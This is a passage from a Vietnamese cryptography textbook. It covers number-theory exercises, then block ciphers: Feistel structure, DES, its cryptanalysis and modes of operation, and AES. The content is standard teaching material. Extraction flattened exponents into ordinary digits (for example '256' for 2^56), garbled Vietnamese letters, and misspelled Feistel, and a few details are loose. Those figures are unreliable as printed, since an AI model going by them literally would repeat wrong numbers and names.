• (x2 + 1) * (x2 + x + 1) mod (x3 + x + 1)
• (x2 + x + 1) * (x2 + x + 1) mod (x3 + x + 1)
dưới dạng các phép toán shift và XOR của bit
7. Chứng tỏ GL(23) là một trường, nêu thuật toán tìm các phần tử nghịch ñảo theo
phép nhân của các phần tử khác 0.
8. Tính hàm Ơle của các số nguyên sau:
• 12, 17, 21, 32, 36, 40, 72, 256.
8 Dùng ðịnh lý Ferma và ðịnh lý Ole tính các biểu thức sau
• 616 mod 17; 1516 mod 17; 95100 mod 101
• 74 mod 10; 95 mod 10; 1012 mod 21; 9190 mod 100;
9 Cài ñặt chương trình kiểm tra số giả nguyên tố
10 Giải các phương trình modulo sau
• x mod 11 = 3; x mod 13 = 6
• y mod 51 = 11; y mod 100 = 15
- 50 -
• z mod 12 = 5; z mod 17 = 8; z mod 23 = 11.
11 Sử dụng ñịnh lý phần dư Trung Hoa tính giá trị các biểu thức sau
• 2530 mod (7*8)
• 70254 mod (11*13)
• 60-1 mod (11*13)
• ((21100 + 33-1). 4551) mod (7.9.11)
• ((19125 + 2551)4721 /37 mod (9.11.13)
12 Tìm các căn nguyên tố của 9, 11
13 Tìm các căn nguyên tố của 13 và 17.
14 Tính logarit rời rạc sau, nếu có:
• Log3 7 mod 11, Log2 9 mod 11
• Log5 6 mod 13, Log3 7 mod 13
• Log2 15 mod 17, Log3 11 mod 17
- 51 -
CHƯƠNG IV:
CHUẨN MÃ DỮ LIỆU (DES) VÀ CHUẨN MÃ NÂNG CAO (AES)
IV.1 Mã khối hiện ñại
Bây giờ chúng ta xét các mã khối hiện ñại. ðây là kiểu mã ñược sử dụng rộng rãi nhất
của các thuật toán mã hoá. ðồng thời nó cũng ñược sử dụng kết hợp với các thủ tục khác
nhằm cung cấp các dịch vụ an toàn và xác thực.
Trước hết chúng ta tập trung vào chuẩn mã dữ liệu DES (Data Encryption Standards) ñể
minh hoạ cho các nguyên lý mã khối. Trước hết chúng ta xét hai kiểu xử lý thông tin
khác nhau trên bản rõ. Một kiểu chia dữ liệu thành từng khối ñể xử lý, kiểu kia xử lý trực
tiếp từng ñơn vị thông tin.
IV.1.1 Phân biệt mã khối với mã dòng.
o Mã khối (block) xử lý bản tin theo từng khối, lần lượt mỗi khối ñược mã hoặc giải
mã. Có thể xem giống như phép thế với các ký tự lớn – mỗi khối gồm 64 bít hoặc
nhiều hơn.
o Mã dòng xử lý bản tin theo từng bít hoặc bite, lần lượt mỗi bít hoặc bite ñược mã
hoá hoặc giải mã. Chẳng hạn như mã khoá tự ñộng Vigenere.
o Rất nhiều mã hiện nay là mã khối. Chúng có khả năng ứng dụng rộng rãi hơn. Rất
nhiều ứng dụng mã ñối xứng trên mạng sử dụng mã khối.
Các nguyên lý mã khối
o Hầu hết các mã khối ñối xứng dựa trên cấu trúc mã Fiestel, do nhà bac học Fiestel
ñề xuất năm 1973. ðây là ñiều cần thiết, vì cần phải có khả năng giải mã các bản
mã một cách có hiệu quả.
o Mã khối ñược coi giống như phép thế cực lớn. Cần bảng có 264 ñầu vào cho mã
khối 64 bít, bảng như vậy là rất lớn. Do ñó có thể thay thế bằng cách tạo các khối
nhỏ hơn.
o Sử dụng ý tưởng dùng mã tích. Ở ñây sẽ kết hợp giữa mã thay thế và mã hoán vị,
ñồng thời sử dụng nhiều vòng lặp như vậy.
IV.1.2 Claude Shannon và mã phép thế hoán vị
Năm 1949, Shannon ñưa ra ý tưởng mạng phép thế và hoán vị (S-P networks) – là mã
tích phép thế và hoán vị hiện ñại với mục ñích là cản trở việc thám mã dựa vào các phân
tích thống kê. Giả sử kẻ thám mã biết một số tính chất thống kê của bản rõ như bảng phân
bố tần suất của các chữ cái, bộ các chữ cái. Nếu các ñặc trưng thống kê này ñược phản
ánh trong bản mã, thì kẻ thám mã sẽ tìm cách tìm ñược khoá hoặc một phần khoá hoặc
tìm mò ra bản rõ. Shannon muốn có một bản mã lý tưởng, ở ñó mọi ñặc trưng thống kế
ñều ñộc lập với khoá riêng ñược dùng, như vậy kẻ thám mã sẽ không có cơ sở ñể tìm
khoá.
- 52 -
Mạng S-P ñã tạo nên cơ sở cho mã khối hiện ñại. Mạng S-P dựa trên hai thao tác mã cơ
bản mà ta ñã biết: phép thế (S-box) và hoán vị (P-box). Chúng sẽ tạo nên ñộ rối loạn và
khuếch tán của bản tin.
Rối loạn và khuếch tán
o Một tính chất quan trọng của mã tốt là mã cần phải che dấu hoàn toàn các tính
chất thống kê của bản tin gốc. Như ta ñã thấy mã bộ ñệm một lần có thể làm ñược
ñiều ñó, do tính ngẫu nhiên của khoá ñệm và ñộ dài bằng bản tin của nó.
o Shannon nghiên cứu và ñề xuất phương pháp thực tế hơn là kết hợp các thành
phần khác nhau của bản rõ ñể xử lý qua nhiều lần và nhận ñược bản mã.
o Khuếch tán là làm tan biến cấu trúc thống kê của bản rõ trên bản mã. ðiều ñó ñạt
ñược nếu mỗi bit của bản rõ tác ñộng ñến giá trị của rất nhiều bit trên bản mã hay
mỗi bit của bản mã chịu tác ñộng của nhiều bit bản rõ.
o Rối loạn là làm cho quan hệ giữa bản mã và khoá càng phức tạp càng tốt. Bản mã
có tính rối loạn cao sẽ làm cho việc tìm mò khoá trở nên rất khó khăn, ngay cả khi
kẻ tấn công có các ñặc trưng thống kê của bản mã và biết cách khoá tác ñộng ñến
bản mã.
IV.1.3 Cấu trúc mã Fiestel
• Horst Fiestel sáng tạo nên mã Fiestel dựa trên mã tích nghịch ñảo ñược, tức là kết
hợp mã thế với mã hoán vị và qui trình giải mã là giống với mã hoá, chỉ cần thay
ñổi vai trò khối bản mã với khối bản rõ và thứ tự các khoá con ñược dùng. Từ
khoá chính sinh ra cho mỗi vòng lặp một khoá con.
• Chia khối ñầu vào thành 2 nửa bằng nhau:
o Thực hiện phép thế trên nửa trái. Sử dụng hàm vòng trên nửa phải và khoá
con, rồi tác ñộng ñến nửa trái.
o Sau ñó hoán vị các nửa, nửa phải chưa ñược xử lý.
o Xử lý vòng tiếp theo.
• ðây là một thể hiện của mã thế kết hợp với hoán vị của Shannon. Ta xem xét cụ
thể cấu trúc mã Fiestel gồm n vòng:
- 53 -

Nguyên tắc thiết kế mã khối Fiestel


• Tăng kích thước khối sẽ làm tăng ñộ an toàn nhưng làm giảm tốc ñộ mã
• Tăng kích thước khoá sẽ làm tăng ñộ an toàn – tìm khoá khó hơn, nhưng làm
chậm mã.
• Tăng số vòng làm tăng ñộ an toàn nhưng làm chậm mã
• Phát sinh khoá con càng phức tạp làm cho việc thám mã khó hơn nhưng làm chậm

• Hàm vòng càng phức tạp làm cho việc thám mã khó hơn nhưng làm chậm mã
• Phần mềm mã hoá/giải mã nhanh và khó thám mã là tiêu chí hay ñược ñề cập ñến
ñối với ứng dụng và kiểm nghiệm thực tế.

Giải mã khối Fiestel


- 54 -

IV.2 Chuẩn mã dữ liệu (DES)


DES (Data Encryption Standards) là mã khối sử dụng rộng rãi nhất trên thế giới trong
thời gian vừa qua. Nó ñược ñưa ra năm 1977 bởi NBS – văn phòng chuẩn Quốc gia Hoa
kỳ (bây giờ là NIST - Viện chuẩn và công nghệ Quốc gia). DES là mã khối với mỗi khối
dữ liệu 64 bít và dùng khoá dài 56 bít. Nó ñược sử dụng rộng rãi và ñã ñược tranh luận kỹ
về mặt an toàn.

IV.2.1 Lịch sử DES:


Cuối những năm 1960, IBM phát triển mã Lucifer, ñược lãnh ñạo bởi Fiestel. Ban ñầu
Lucifer sử dụng khối dữ liệu 64 bít và khoá 128 bít. Sau ñó tiếp tục phát triển như mã
thương mại. Năm 1973 NBS yêu cầu ñề xuất chuẩn mã Quốc gia. IBM ñề nghị bản sửa
ñổi Lucifer, sau này gọi là DES. ðã có các tranh luận về thiết kế của DES. Vì chuẩn của
DES ñược công khai, mọi người ñóng góp ý kiến về tốc ñộ, ñộ dài khoá và mức ñộ an
toàn, khả năng thám mã. Người ta ñề xuất chọn khoá 56 bít thay vì 128 ñể tăng tốc ñọ xử
lý và ñưa ra các tiêu chuẩn thiết kế một chuẩn mã dữ liệu. Các suy luận và phân tích
chứng tỏ rằng thiết kế như vậy là phù hợp. Do ñó DES ñược sử dụng rộng rãi, ñặc biệt
trong lĩnh vực tài chính.
- 55 -

IV.2.2 Sơ ñồ mã DES

• Hoán vị ban ñầu IP: ñây là bước ñầu tiên của tính toán dữ liệu, hoán vị IP ñảo
thứ tự các bít ñầu vào: các bít chẵn sang nửa trái và các bít lẻ sang nửa phải. Hoán
vị trên dễ dàng thực hiện trên phần cứng.
Mỗi số trong hệ 16 biểu diễn bởi 4 bit, 16 số ñược thể hiện bởi 64 bit. Mỗi bit có
một vị trí xác ñịnh qua hoán vị ban ñầu (xem bảng phụ lục cuối tài liệu).
Ví dụ
IP(675a6967 5e5a6b5a) = (ffb2194d 004df6fb)
• Cấu tạo một vòng của DES
Sử dụng hai nửa 32 bít trái và 32 bít phải. Như ñối với mọi mã Fiestel, nửa phải của
vòng trước ñược chuyển qua nửa trái của bước sau và lấy ñầu ra của hàm vòng trên
nửa phải và khoá con cộng cơ số 2 với nửa trái. Có thể biểu diễn bằng công thức như
sau:
Li = Ri–1
- 56 -
Ri = Li–1 xor F(Ri–1, Ki)
Ở ñây F lấy 32 bít nửa phải R, mở rộng thành 48 bít nhờ hoán vị E, rồi cộng vào với
khoá con 48 bít. Sau ñó chia thành 8 cụm 6 bít và cho qua 8 S-box ñể nhận ñược kết
quả 32 bít. ðảo lần cuối sử dụng hoán vị 32 bít P nhận ñược 32 bít ñầu ra, rồi cộng
với nửa trái ñể chuyển thành nửa phải của bước sau.

• Các hộp thế S (xem phụ lục cuối tài liệu)


Có 8 hộp S khác nhau ánh xạ 6 bít vào 4 bít. Các hộp S box thực hiện các phép
thế, chúng ñược cấu tạo không có qui luật và cố ñịnh. Mỗi S box là hộp 4 x 16
bít, mỗi hàng là một hoán vị của 16 phần tử. Giả sử ta có 6 bít ñầu vào. Ta lấy hai
bít ngoài 1-6 ghép lại ñược số nhị phân xác ñịnh chọn hàng từ 0 ñến 3 trong S
box. Bốn bít từ 2 ñến 5 là một số nhị phân xác ñịnh cột từ 0 ñến 15 trong S box.
Lấy phần tử tương ứng trên hàng và cột mới ñược xác ñịnh, ñây là một số từ 0
ñến 15, chuyển sang số nhị phân ta ñược 4 bít ñầu ra. Như vậy 48 bít chia thành
có 8 cụm 6 bít, qua 8 S box ñược chuyển thành 8 cụm 4 bít, tổng cộng là 32 bít
Việc chọn hàng trong các S box phụ thuộc cả dữ liệu và khoá - ñặc trưng này
ñược gọi là khoá tự xác ñịnh
Ví dụ:
S(18 09 12 3d 11 17 38 39) = 5fd25e03
• Sinh khoá con của DES
- 57 -
o Tạo 16 khoá con sử dụng cho 16 vòng của DES. 56 bit khoá ñầu vào ñược
sử dụng như bảng 8 x 8, trong ñó cột thứ 8 không sử dụng.
o Hoán vị ban ñầu của khoá PC1 và tách 56 bít thành hai nửa 28 bít.
o 16 giai ñoạn bao gồm
 Ở mỗi vòng nửa trái và nửa phải ñược dịch trái vòng quanh tương
ứng 1 và 2 bit. Hai nửa này ñược dùng tiếp cho vòng sau.
 ðồng thời hai nửa cũng cho qua hoán vị PC2 và chọn mỗi nửa 24
bít gộp lại thành 48 bít ñể sinh khoá con..
o Ứng dụng thực tế trên cả phần cứng và phần mềm ñều hiệu quả

Các thông số cụ thể về hoán vị ban ñầu, các hộp Box và thuật toán sinh khoá của DES
ñược cho cuối tài liệu trong phần phụ lục.
• Giải mã DES
Giải mã làm ngược lại quá trình mã hoá. Với thiết kế Fiestel thực hiện mã hoá
tiếp với các khoá con từ SK16 ngược lại về SK1. Nhận thấy rằng hoán vị ban ñầu
IP sẽ trả lại tác dụng của hoán vị cuối FP. Vòng ñầu với SK16 sẽ trả lại tác dụng
của vòng mã thứ 16. Vòng thứ 16 với SK1 sẽ trả lại tác dụng của vòng mã ñầu
tiên. Hoán vị cuối FP trả lại tác dụng hoán vị ban ñầu IP. Như vậy ñã khôi phục
lại ñược dữ liệu ban ñầu.
IV.2.3 Tính chất của DES
• Tác dụng ñồng loạt. Khi ta thay ñổi 1 bit trong khoá sẽ gây ra tác ñộng ñồng loạt
làm thay ñổi nhiều bit trên bản mã. ðây là tính chất mong muốn của khoá trong
thuật toán mã hoá. Nếu thay ñổi 1 bít ñầu vào hoặc khoá sẽ kéo theo thay ñổi một
- 58 -
nửa số bít ñầu ra. Do ñó không thể ñoán khoá ñược. Co thể nói rằng DES thể hiện
tác ñộng ñồng loạt mạnh.
• Sức mạnh của DES – kích thước khoá.
ðộ dài của khoá trong DES là 56 bít có 256 = 7.2 x 1016 giá trị khác nhau. ðây là
con số rất lớn nên tìm kiếm duyệt rất khó khăn. Các thành tựu gần ñây chỉ ra rằng
thời gian cần thiết ñể giải một trang mã DES mà không biết khoá là: sau một vài
tháng trên Internet trong năm 1997; một vài ngày trên thiết bị phần cứng tăng
cường trong năm 1998; sau 22 giờ nếu kết hợp các biện pháp trong năm 1999.
Như vậy vẫn có thể ñoán ñược bản rõ sau một khoảng thời nhất ñịnh, nếu có
nguồn lực máy tính mạnh. Chính vì vậy bây giờ người ta ñã xét một vài biến thể
của DES nhằm nâng cao sức mạnh cho DES.
• Sức mạnh của DES – tấn công thời gian.
ðây là dạng tấn công vào cài ñặt thực tế của mã. Ở ñây sử dụng hiểu biết về quá
trình cài ñặt thuật toán mà suy ra thông tin về một sô khoá con hoặc mọi khoá
con. ðặc biệt sử dụng kết luận là các tính toán chiếm khoảng thời gian khác nhau
phụ thuộc vào giá trị ñầu vào của nó. Do ñó kẻ thám mã theo dõi thời gian thực
hiện mà phán ñoán về khoá. Có thể kẻ thám mã sáng tạo ra các loại card thông
minh phán ñoán khoá, mà còn phải bàn bạc thêm về chúng.
• Sức mạnh của DES – tấn công thám mã.
Có một số phân tích thám mã trên DES, từ ñó ñề xuất xây dựng một số cấu trúc
sâu về mã DES. Rồi bằng cách thu thập thông tin về mã, có thể ñoán biết ñược tất
cả hoặc một số khoá con ñang dùng. Nếu cần thiết sẽ tìm duyệt những khoá còn
lại. Nói chung, ñó là những tấn công dựa trên phương pháp thống kê bao gồm:
thám mã sai phân, thám mã tuyến tính và tấn công khoá liên kết.
• Thám mã sai phân
Một trong những thành tựu công khai gần ñây trong thám mã là phương pháp
thám mã sai phân. Nó ñược biết ñến bởi NSA trong những năm 70, chẳng hạn
trong thiết kế DES. Murphy, Birham và Shamir công bố phương pháp sai phân
năm 1990. ðây là phương pháp mạnh ñể phân tích mã khối. Nó sử dụng phân tích
hầu hết các mã khối hiện tại với mức ñộ thành công khác nhau. Nhưng DES có
thể kháng cự lại các tấn công ñó. Thám mã sai phân là tấn công thống kê chống
lại các mã Fiestel. Mã Fiestel dùng các cấu trúc mã chưa ñược sử dụng trước kia
như thiết kế S-P mạng có ñầu ra từ hàm f chịu tác ñộng bởi cả ñầu vào và khoá.
Do ñó không thể tìm lại ñược giá trị bản rõ mà không biết khoá.
Thám mã sai phân so sánh hai cặp mã có liên quan với nhau
o Với sự khác biệt ñã biết ở ñầu vào
o Khảo sát sự khác biệt ở ñầu ra
- 59 -
o Khi với cùng khoá con ñược dùng
o Trong công thức sau với hai ñầu vào khác nhau, vế trái là sự khác biệt mã
ở cùng vòng thứ i ñược biểu diễn qua sự khác biệt mã ở vòng trước ñó i-1
và sự khác biệt của hàm f trong ngoặc vuông.

Sự khác biệt ở ñầu vào cho sự khác biệt ở ñầu ra với một xác suất cho trước.
o Nếu tìm ñược một thể hiện ñầu vào - ñầu ra với xác suất cao. Thì có
thể luận ra khoá con ñược sử dụng trong vòng ñó
o Sau ñó có thể lặp lại cho nhiều vòng (với xác suất giảm dần)
 Cặp ñúng cho bít khoá như nhau
 Cặp sai cho giá trị ngẫu nhiên
o ðối với số vòng lớn, xác suất ñể có nhiều cặp ñầu vào 64 bít thoả mãn
yêu cầu là rất nhỏ.
o Birham và Shamir chỉ ra rằng làm như thế nào ñể các ñặc trưng lặp của
13 vòng có thể bẻ ñược DES 16 vòng ñầy ñủ.
- 60 -

o Qui trình thám mã như sau: thực hiện mã hoá lặp lại với cặp bản rõ có
XOR ñầu vào biết trước cho ñến khi nhận ñược XOR ñầu ra mong
muốn
o Khi ñó có thể tìm ñược
 nếu vòng trung gian thỏa mãn XOR yêu cầu thì có cặp ñúng
 nếu không thì có cặp sai, tỷ lệ sai tương ñối cho tấn công ñã
biết trước dựa vào thống kê.
o Sau ñó có thể tạo ra các khoá cho các vòng theo suy luận sau
• Thám mã tuyến tính
ðây là một phát hiện mới khác. Nó cũng dùng phương pháp thống kê. Ở ñây
cần lặp qua các vòng với xác suất giảm, nó ñược phát triển bởi Matsui và một
số người khác vào ñầu những năm 90. Cơ sở của phương pháp dựa trên tìm
xấp xỉ tuyến tính. Và có nhận ñịnh rằng có thể tấn công DES với 247 bản rõ ñã
biết. Như vậy thám mã tuyến tính vẫn không khả thi trong thực tế.
o Tìm xấp xỉ tuyến tính với xác suất p != ½

P[i1,i2,...,ia] (+) C[j1,j2,...,jb] = K[k1,k2,...,kc]

trong ñó ia, jb, kc là các vị trí bit trong bản rõ, mã, khoá.
o ðiều kiện trên cho phương trình tuyến tính của các bít khoá. ðể nhận
ñược 1 bít khoá sử dụng thuật toán lân cận tuyến tính
o Sử dụng một số lớn các phương trình thử nghiệm. Hiệu quả cho bởi |p
– 1/2|
Trong quá trình tìm hiểu DES người ta ñã hệ thống lại các tiêu chuẩn thiết kế
DES. Như báo cáo bởi Copperscmith trong [COPP94]:
- 61 -
o Có 7 tiêu chuẩn ñối với S box ñược cung cấp ñể ñảm bảo
 tính phi tuyến tính
 chống tham mã sai phân
 Rối loạn tốt
o Có 3 tiêu chuẩn cho hoán vị P ñể tăng ñộ khuếch tán

• Các nguyên lý mã khối


Các nguyên lý cơ bản của mã khối giống như Fiestel ñề xuất trong những năm
70:
o Có một số vòng: càng nhiều càng tốt; tấn công tốt nhất phải tìm tổng
thể
o Trong mỗi vòng có hàm cung cấp ñộ rối loạn là phi tuyến, tác ñộng
ñồng loạt
o Qui trình sinh khoá con phức tạp, khoá tác ñộng ñồng loạt ñến bản mã.
IV.2.4 Các kiểu thao tác của DES
Mã khối mã các block có kích thước cố ñịnh. Chẳng hạn DES mã các block 64 bít với
khoá 56 bít Cần phải có cách áp dụng vào thực tế vì các thông tin cần mã có kích thước
tùy ý. Trwosc kia có 4 kiểu thao tác ñược ñịnh nghĩa cho DES theo chuẩn ANSI: ANSI
X3.106-1983 Modes of Use. Bây giờ mở rộng them có 5 cách cho DES và chuẩn mã
nâng cao (AES – Advanced Encryption Standards). Trong ñó có kiểu áp dụng cho khối
và có kiểu áp dụng cho mã dòng.
1. Sách mật mã ñiện tử (Electronic Codebook Book - ECB)
o Mẫu tin ñược chia thành các khối ñộc lập, sau ñó mã từng khối
o Mỗi khối là giá trị cần thay thế như dùng sách mã, do ñó có tên như vậy
o Mỗi khối ñược mã ñộc lập với các mã khác Ci = DESK1 (Pi)
o Khi dùng: truyền an toàn từng giá trị riêng lẻ
- 62 -

o Ưu và nhược của ECB


 Lặp trên bản mã ñược chỉ rõ lặp trên bản tin
- Nếu dóng ñúng khối
- ðặc biệt với hình ảnh
- Hoặc với bản tin mà thay ñổi rất ít
sẽ trở thành ñối tượng ñể thám mã
 Nhược ñiểm là các khối ñược mã ñộc lập
 ðược sử dụng chủ yếu khi gửi một ít dữ liệu

2. Dây chuyền mã khối (Cipher Block Chaining - CBC)


o Các mẫu tin ñược chia thành các khối
o Nhưng chúng ñược liên kết với nhau trong quá trình mã hoá
o Các block ñược sắp thành dãy, vì vậy có tên như vậy
o Sử dụng véctơ ban ñầu IV ñể bắt ñầu quá trình
Ci = DESK1(Pi XOR Ci-1)
C-1 = IV
o Dùng khi: mã dữ liệu lớn, xác thực
- 63 -

o Ưu và nhược của CBC


 Mỗi khối mã phụ thuộc vào tất cả các khối bản rõ
 Sự thay ñổi của bản tin ở ñâu ñó sẽ kéo theo sự thay ñổi của mọi khối

 Cần giá trị véc tơ ban ñầu IV ñược biết trước bởi người gửi và người
nhận
- Tuy nhiên nếu IV ñược gửi công khai, kẻ tấn công có thể thay ñổi
bít ñầu tiên và thay ñổi cả IV ñể bù trừ
- Vậy IV cần phải có giá trị cố ñịnh trước hoặc mã hoá trong chế ñộ
ECB và gửi trước phần còn lại của mẩu tin
 Ở cuối bản tin, ñể kiểm soát các block ngắn còn lại
- Có thể bổ sung các giá trị không phải dữ liệu như NULL
- Hoặc dùng bộ ñệm cuối với số byte ñếm kích thước của nó.
Ví dụ
[ b1 b2 b3 0 0 0 0 5] <- 3 data bytes,
vậy có 5 bytes dành cho ñệm và ñếm.
3. Mã phản hồi ngược (Cipher FeedBack - CFB)
o Bản tin coi như dòng các bít
o Bổ sung vào ñầu ra của mã khối
o Kết quả phản hồi trở lại cho giai ñoạn tiếp theo, vì vậy có tên như vậy.
o Nói chung cho phép số bít phản hồi là 1, 8, 64, hoặc tuỳ ý: ký hiệu tương
ứng là CFB1, CFB8, CFB64,…
o Thường hiệu quả sử dụng cả 64 bít
Ci = Pi XOR DESK1(Ci-1)
C-1 = IV
o ðược dùng cho mã dữ liệu dòng, xác thực
- 64 -

Ưu và nhược ñiểm của mã phản hồi ngược


o ðược dùng khi dữ liệu ñến theo byte/bit
o Chế ñộ dòng thường gặp nhất
o Hạn chế là cần ngăn chuồng khi mã khối sau mỗi n bit
o Nhận xét là mã khối ñược dùng ở chế ñộ mã ở cả hai ñầu
o Lỗi sẽ lan ra một vài block sau lỗi
4. Phản hồi ngược ñầu ra (Output FeedBack - OFB)
o Mẩu tin xem như dòng bit
o ðầu ra của mã ñược bổ sung cho mẩu tin
o ðầu ra do ñó là phản hồi, do ñó có tên như vậy
o Phản hồi ngược là ñộc lập ñối với bản tin
o Có thể ñược tính trước
Ci = Pi XOR Oi
Oi = DESK1(Oi-1)
O-1 = IV
o ðược dùng cho mã dòng trên các kênh âm thanh
- 65 -

Ưu ñiểm và nhược ñiểm của OFB


o ðược dùng khi lỗi phản hồi ngược lại hoặc ở nơi cần mã trước khi mẩu tin
sẵn sàng
o Rất giống CFB
o Nhưng phản hồi là từ ñầu ra của mã và ñộc lập với mẩu tin
o Là biến thể của mã Vernam, suy ra không sử dụng lại với cùng một dãy
(Key + IV)
o Người gửi và người nhận phải ñồng bộ, có phương pháp khôi phục nào ñó
là cần thiết ñể ñảm bảo việc ñó.
o Nguyên bản chỉ rõ m bit phản hồi ngược theo các chuẩn
o Các nghiên cứu tiếp theo chỉ ra rằng chỉ có OFB64 là dùng ñược
5. Bộ ñếm CTR (Counter)
o Là chế ñộ mới, tuy ñã ñược ñề xuất từ lâu
o Giống như OFB, nhưng mã giá trị ñếm thay vì giá trị phản hồi tuỳ ý.
o Cần phải có khoá khác và giá trị ñếm cho mỗi khối bản rõ (không bao giờ
dùng lại)
Ci = Pi XOR Oi
Oi = DESK1(i)
o ðược dùng mã trên mạng với tốc ñộ cao
o Ưu và nhược ñiểm của CTR
 Hiệu quả
- Do có thể mã song song
- Chuẩn bị trước nếu cần
- Tốt cho các kết nối với tốc ñộ rất cao
 Truy cập ngẫu nhiên ñến các khối dữ liệu mã
 Tính an toàn có thể chứng minh ñược
 Nhưng phải tin tưởng không bao giờ dùng lại khoá/ñếm, nếu
không có thể bẻ.
- 66 -

IV.3 Chuẩn mã nâng cao (AES)


IV.3.1 Nguồn gốc
Rõ ràng cần phải thay thế DES, vì có những tấn công về mặt lý thuyết có thể bẻ ñược nó.
Một số tấn công nghiên cứu thấu ñáo khoá ñã ñược trình diễn. Người ta thấy rằng, cần sử
dụng Triple DES (sử dụng DES ba lần liên tiếp) cho các ứng dụng ñòi hỏi tăng cường
bảo mật, nhưng quá trình mã và giải mã chậm, ñồng thời với khối dữ liệu nhỏ. Do ñó
Viện chuẩn quốc gia Hoa kỳ US NIST ra lời kêu gọi tìm kiếm chuẩn mã mới vào năm
1997. Sau ñó có 15 ñề cử ñược chấp nhận vào tháng 6 năm 1998. Và ñược rút gọn còn 5
ứng cử viên vào tháng 6 năm 1999. ðến tháng 10 năm 2000, mã Rijndael ñược chọn làm
chuẩn mã nâng cao và ñược xuất bản là chuẩn FIPS PUB 197 vào 11/2001.
Yêu cầu của AES
• Là mã khối ñối xứng khoá riêng.
• Kích thước khối dữ liệu 128 bit và ñộ dài khoá là tùy biến: 128, 192 hoặc 256 bit.
• Chuẩn mã mới phải mạnh và nhanh hơn Triple DES. Mã mới có cơ sở ls thuyết
mạnh ñể thời gian sống của chuẩn khoảng 20-30 năm (cộng thêm thời gian lưu
trữ).
• Khi ñưa ra thành chuẩn yêu cầu cung cấp chi tiết thiết kế và ñặc tả ñầy ñủ. ðảm
bảo rằng chuẩn mã mới cài ñặt hiệu quả trên cả C và Java.
• NIST in rút gọn mọi ñề xuất, phân tích và không phân loại.

IV.3.2 Tiêu chuẩn triển khai của AES


• Tiêu chuẩn ban ñầu:
- 67 -
o An toàn - chống ñỡ mọi tấn công thám mã về thực tế
o Giá trị về mặt tính toán
o Các ñặc trưng cài ñặt và thuật toán.
• Tiêu chuẩn cuối cùng:
o An toàn tổng thể
o Dễ cài ñặt phần mềm và phần cứng
o Chống ñược tấn công về mặt cài ñặt
o Mềm dẻo trong mã / giải mã, khoá và các yếu tố khác
• Danh sách các ứng cử viên Chuẩn mã nâng cao ñược rút gọn:
o MARS (IBM): phức tạp, nhanh, biên ñộ tin cậy cao
o RC6 (USA): ñơn giản, rất nhanh, biên ñộ tin cậy thấp
o Rijndael (Bỉ): rõ ràng, nhanh, biên ñộ tin cậy tốt
o Serpent (Châu Âu): chậm, rõ ràng, biên ñộ tin cậy rất cao
o Twofish (USA): phức tạp, rất nhanh, biên ñộ tin cậy cao
• Sau ñó tục phân tích và ñánh giá. Tập trung vào việc so sánh các thuật toán khác
nhau:
o Ít vòng nhưng phức tạp với nhiều vòng ñơn giản hơn.
o Nêu rõ cải tiến các mã ñã có với các ñề xuất mới.

IV.3.3 Chuẩn mã nâng cao AES – Rijndael


Cuối cùng Rijndael ñược chọn là chuẩn mã nâng cao. Nó ñược thiết kế bởi Rijmen –
Daemen ở Bỉ, có các ñặc trưng sau:
• Có 128/192/256 bit khoá và 128 bit khối dữ liệu.
• Lặp hơi khác với Fiestel
o Chia dữ liệu thành 4 nhóm – 4 byte
o Thao tác trên cả khối mỗi vòng
o Thiết kế ñể:
 chống lại các tấn công ñã biết
 tốc ñộ nhanh và nén mã trên nhiều CPU
 ðơn giản trong thiết kế
• Xử lý khối dữ liệu 128 bit như 4 nhóm của 4 byte: 128 = 4*4*8 bit. Mỗi nhóm
nằm trên một hàng. Ma trận 4 hàng, 4 cột với mỗi phần tử là 1 byte coi như trạng
thái ñược xử lý qua các vòng mã hoá và giải mã.
• Khoá mở rộng thành mảng gồm 44 từ 32 bit w[i].
• Có tùy chọn 9/11/13 vòng, trong ñó mỗi vòng bao gồm
o Phép thế byte (dùng một S box cho 1 byte)
o Dịch hàng (hoán vị byte giữa nhóm/cột)
- 68 -
o Trộn cột (sử dụng nhân ma trận của các cột)
o Cộng khoá vòng (XOR trạng thái dữ liệu với khoá vòng).
o Mọi phép toán ñược thực hiện với XOR và bảng tra, nên rất nhanh và hiệu
quả.
• Sơ ñồ Rijndael
- 69 -

• Phép thế Byte


o Phép thê byte ñơn giản
o Sử dụng một bảng 16 x 16 byte chứa hoán vị của tất cả 256 giá trị 8 bit
o Mỗi byte trạng thái ñược thay bởi byte trên hàng xác ñịnh bởi 4 bit trái và cột
xác ñịnh bởi 4 bit phải.
Chẳng hạn {95} ñược thay bởi hàng 9, cột 5, mà giá trị sẽ là {2A}.
o S box ñược xây dựng sử dụng hoán vị các giá trị trong GF(28) ñã ñược xác
ñịnh trong chương trước.
o Thiết kế ñể chống mọi tấn công ñã biết
• Dịch hàng
o Dịch hàng vòng quanh trên mỗi hàng
 Hàng 1 không ñổi
 Hàng 2 dịch vòng quanh 1 byte sang trái
 Hàng 3 dịch vòng quanh 2 byte sang trái
 Hàng 4 dịch vòng quanh 3 byte sang trái
o Giải mã thực hiện dịch ngược lại sang phải
o Vì trạng thái ñược xử lý bởi cột, bước này thực chất là hoán vị byte giữa các
cột.
• Trộn các cột
o Mỗi cột ñược xử lý riêng biệt.
o Mỗi byte ñược thay bởi 1 giá trị phụ thuộc vào tất cả 4 byte trong cột
o Nhân ma trận hiệu quả trong GF(28), sử dụng ña thức nguyên tố
m(x) =x8+x4+x3+x+1

Trộn cột
o Có thể biểu diễn mỗi cột mới là nghiệm của 4 phương trình
 ñể tìm ra byte mới trong mỗi cột
- 70 -
o Mã yêu cầu sử dụng ma trận nghịch ñảo
 Với hệ số lớn thì tính toán khó khăn hơn
o Có các ñặc trưng khác của cột như sau:
 Mỗi cột là một ña thức bậc 3 gồm 4 số hạng
 Với mỗi phần tử là một byte tương ứng với phần tử trong GF(28).
 Các ña thức nhân tính theo Modulo (x4+1).
• Cộng khoá quay vòng
o XOR trạng thái với 128 bit khoá quay vòng
o Xử lý lại bằng cột (hiệu quả qua một loạt các thao tác bit)
o Nghịch ñảo cho giải mã hoàn toàn xác ñịnh, vì khi XOR với nghịch ñảo
của bản thân nó, XOR trùng với ñảo bit của khoá quay vòng.
o Thiết kế ñể ñơn giản nhất có thể
 Dạng mã Vernam với khoá mở rộng
 ðòi hỏi thêm một số bước tăng ñộ phức tạp/tính an toàn.
• Một vòng AES

• Mở rộng khoá AES


o Dùng khoá 128 bit (16 byte) và mở rộng thành mảng gồm 44/52/60 từ 32
bit.
o Bắt ñầu bằng việc copy khoá vào 4 từ ñầu
o Sau ñó tạo quay vòng các từ mà phụ thuộc vào giá trị ở các vị trí trước và
4 vị trí sau
